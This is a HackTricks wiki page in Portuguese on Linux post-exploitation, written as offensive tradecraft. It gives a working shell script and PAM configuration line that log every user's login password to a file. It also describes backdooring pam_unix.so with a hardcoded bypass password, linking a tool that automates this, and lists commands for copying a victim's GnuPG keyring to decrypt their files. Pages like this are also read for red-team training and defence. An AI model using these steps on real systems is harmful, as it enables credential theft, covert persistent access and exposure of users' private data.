Linux Post-Exploitation
Reading time: 5 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Sniffing Logon Passwords with PAM
Vamos configurar um módulo PAM para registrar cada senha que cada usuário usa para fazer login. Se você não sabe o que é PAM confira:
PAM - Pluggable Authentication Modules
For further details check the original post. Isto é apenas um resumo:
Technique Overview: Pluggable Authentication Modules (PAM) oferecem flexibilidade no gerenciamento de autenticação em sistemas baseados em Unix. Eles podem reforçar a segurança ao customizar processos de login, mas também apresentam riscos se usados indevidamente. Este resumo descreve uma técnica para capturar credenciais de login usando PAM, junto com estratégias de mitigação.
Capturing Credentials:
- Um script bash chamado
toomanysecrets.sh
é criado para registrar tentativas de login, capturando a data, o nome de usuário ($PAM_USER
), a senha (via stdin) e o IP do host remoto ($PAM_RHOST
) em/var/log/toomanysecrets.log
. - O script é tornado executável e integrado à configuração do PAM (
common-auth
) usando o módulopam_exec.so
com opções para rodar silenciosamente e expor o token de autenticação ao script. - A abordagem demonstra como um host Linux comprometido pode ser explorado para registrar credenciais de forma discreta.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Backdooring PAM
Para mais detalhes, consulte o artigo original. Isto é apenas um resumo:
O Pluggable Authentication Module (PAM) é um sistema usado no Linux para autenticação de usuários. Opera com três conceitos principais: username, password e service. Os arquivos de configuração para cada serviço estão localizados no diretório /etc/pam.d/
, onde bibliotecas compartilhadas lidam com a autenticação.
Objetivo: Modificar o PAM para permitir autenticação com uma senha específica, contornando a senha real do usuário. Isso foca particularmente na biblioteca compartilhada pam_unix.so
usada pelo arquivo common-auth
, que é incluído por quase todos os serviços para verificação de senha.
Steps for Modifying pam_unix.so
:
- Localize a Diretiva de Autenticação no arquivo
common-auth
:
- A linha responsável por checar a senha do usuário chama
pam_unix.so
.
- Modifique o Código Fonte:
- Adicione uma instrução condicional no arquivo fonte
pam_unix_auth.c
que permita acesso se uma senha pré-definida for usada; caso contrário, prossiga com o processo normal de autenticação.
- Recompile e Substitua a biblioteca
pam_unix.so
modificada no diretório apropriado. - Teste:
- O acesso é concedido em vários serviços (login, ssh, sudo, su, screensaver) com a senha pré-definida, enquanto os processos normais de autenticação permanecem inalterados.
tip
Você pode automatizar esse processo com https://github.com/zephrax/linux-pam-backdoor
Decrypting GPG loot via homedir relocation
Se você encontrar um arquivo .gpg
criptografado e a pasta ~/.gnupg
do usuário (pubring, private-keys, trustdb) mas não conseguir descriptografar devido a permissões/bloqueios do homedir do GnuPG, copie o keyring para um local gravável e use-o como seu GPG home.
Erros típicos que você verá sem isso: "unsafe ownership on homedir", "failed to create temporary file", ou "decryption failed: No secret key" (porque o GPG não consegue ler/escrever o homedir original).
Fluxo de trabalho:
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
Se o material da chave secreta estiver presente em private-keys-v1.d
, o GPG irá desbloquear e descriptografar sem solicitar a passphrase (ou solicitará se a chave estiver protegida).
Referências
- 0xdf – HTB Environment (GPG homedir relocation to decrypt loot)
- GnuPG Manual – Home directory and GNUPGHOME
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.